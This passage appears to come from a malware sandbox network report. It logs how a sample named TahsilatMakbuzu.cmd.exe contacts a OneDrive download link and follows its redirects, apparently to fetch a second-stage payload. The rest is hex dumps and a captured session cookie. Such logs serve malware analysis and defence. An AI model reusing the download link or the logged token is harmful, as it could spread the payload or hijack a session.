excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 25 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 9EB45D79C81143AAA59C7A592441505A Ref B: BN3EDGE0412 Ref C: 2024-07-04T18:18:16Z Date: Thu, 04 Jul 2024 18:18:16 GMT Connection: close
2024-07-04 18:18:17 UTC	2216	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 32 2c 31 34 36 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 Data Ascii: 2,1461904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,160519055
2024-07-04 18:18:17 UTC	4168	IN	Data Raw: 39 30 30 43 2d 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 Data Ascii: 900C-432F-971F-B5BCD4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 Data Ascii: e,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 Data Ascii: 5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tr
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 Data Ascii: -4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF4
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 Data Ascii: 2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 Data Ascii: 42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 Data Ascii: :true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F
2024-07-04 18:18:17 UTC	8192	IN	Data Raw: 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 Data Ascii: AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49857	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:18 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:18 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: PH2PPF3904E7957 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: +6i1ETj/6Em6Aoi76qXZNw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 60F58F93EC754AB49136EB45A04C4A4F Ref B: EWR30EDGE1614 Ref C: 2024-07-04T18:18:18Z Date: Thu, 04 Jul 2024 18:18:17 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49858	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:19 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:20 UTC	2221	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:dctfrlWc3Ig=:Zn5Z13tmqfSvv/5jwQHAyrALvyH6C6bJOkgYeRkqSsU=:F; domain=.live.com; path=/ Set-Cookie: xid=903738a5-6a5b-41e6-a4c3-ba5c04dc92fb&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:19 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk5LCJuYmYiOjE3MjAxMTcwOTksImdpdmVuX25hbWUiOiI1NSIsImZhbWlseV9uYW1lIjoiRWNoaWRuYSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImI5MTJiZTRiMzYyNTViNjE4OGI4ODA1MzM3MjkxODIzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwOTl9.kWc5U87bskN9HQbHb9G0j6QhXJp-WYLI2KEFTsxt2_qf6n5GupuIbUWgaY6M2CNZLQ7yQFyYjcu_tLGRMos9JbTjMfW8wzzZ7iuVlTLgSmLLph39_dCa1y5a2oLPHFtR4wyqJjVBpWaSCEZzzFJC1E7PcABzCBQ5WSaz7gtPm3xzZ5hppFkzLVaO_hXl0N1Vce9NpBfQhxOENdUvu6dRUN-hDEq58mZqjPjw4cmQgSSKEux9foi2Q-OdpSli1xgiKIEmEeuGdyNaa_Po4heEVpoeo2cBOmDXAx7ZQaiXhSkTLcQkFoxuquoHYCMjWC5gELKmJEuWzNo2bI3KZulIXg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:20 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-g9v2x X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 33DCDC0AA8A1405CB14B57F288CA0130 Ref B: BN3EDGE0206 Ref C: 2024-07-04T18:18:19Z Date: Thu, 04 Jul 2024 18:18:19 GMT Connection: close
2024-07-04 18:18:20 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49859	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:20 UTC	1281	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk5LCJuYmYiOjE3MjAxMTcwOTksImdpdmVuX25hbWUiOiI1NSIsImZhbWlseV9uYW1lIjoiRWNoaWRuYSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImI5MTJiZTRiMzYyNTViNjE4OGI4ODA1MzM3MjkxODIzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwOTl9.kWc5U87bskN9HQbHb9G0j6QhXJp-WYLI2KEFTsxt2_qf6n5GupuIbUWgaY6M2CNZLQ7yQFyYjcu_tLGRMos9JbTjMfW8wzzZ7iuVlTLgSmLLph39_dCa1y5a2oLPHFtR4wyqJjVBpWaSCEZzzFJC1E7PcABzCBQ5WSaz7gtPm3xzZ5hppFkzLVaO_hXl0N1Vce9NpBfQhxOENdUvu6dRUN-hDEq58mZqjPjw4cmQgSSKEux9foi2Q-OdpSli1xgiKIEmEeuGdyNaa_Po4heEVpoeo2cBOmDXAx7ZQaiXhSkTLcQkFoxuquoHYCMjWC5gELKmJEuWzNo2bI3KZulIXg; E=P:dctfrlWc3Ig=:Zn5Z13tmqfSvv/5jwQHAyrALvyH6C6bJOkgYeRkqSsU=:F; xid=903738a5-6a5b-41e6-a4c3-ba5c04dc [TRUNCATED]
2024-07-04 18:18:20 UTC	1922	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,1306,0,27391,4 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 4d1239a1-f091-5000-ed44-f71978083cc5 request-id: 4d1239a1-f091-5000-ed44-f71978083cc5 MS-CV: oTkSTZHwAFDtRPcZeAg8xQ.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AF339BC6462040DBA2BFD9F0054DAFB9 Ref B: BN3EDGE1116 Ref C: 2024-07-04T18:18:20Z Date: Thu, 04 Jul 2024 18:18:20 GMT Connection: close
2024-07-04 18:18:20 UTC	3851	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:20 UTC	8192	IN	Data Raw: 2d 44 31 34 34 2d 34 34 31 43 2d 42 46 37 34 2d 37 35 41 44 39 42 34 37 39 43 30 41 22 3a 74 72 75 65 2c 22 39 32 38 33 31 46 39 41 2d 34 41 44 37 2d 34 35 34 46 2d 39 31 39 43 2d 36 41 39 37 42 46 34 44 31 30 30 41 22 3a 74 72 75 65 2c 22 42 42 37 36 44 33 37 44 2d 30 35 41 45 2d 34 37 31 35 2d 38 31 32 35 2d 35 39 39 34 43 32 41 41 41 45 35 39 22 3a 74 72 75 65 2c 22 46 36 44 38 38 46 30 39 2d 36 34 38 44 2d 34 43 33 38 2d 42 33 44 38 2d 36 37 36 46 36 34 32 36 36 46 36 33 22 3a 74 72 75 65 2c 22 32 32 31 37 45 30 31 39 2d 33 43 32 43 2d 34 31 45 36 2d 41 37 34 30 2d 38 31 36 35 35 42 44 33 31 45 46 44 22 3a 74 72 75 65 2c 22 38 39 36 34 31 38 34 31 2d 45 33 35 36 2d 34 36 34 35 2d 38 34 45 33 2d 34 46 37 33 37 32 34 42 41 30 39 39 22 3a 74 72 75 65 2c Data Ascii: 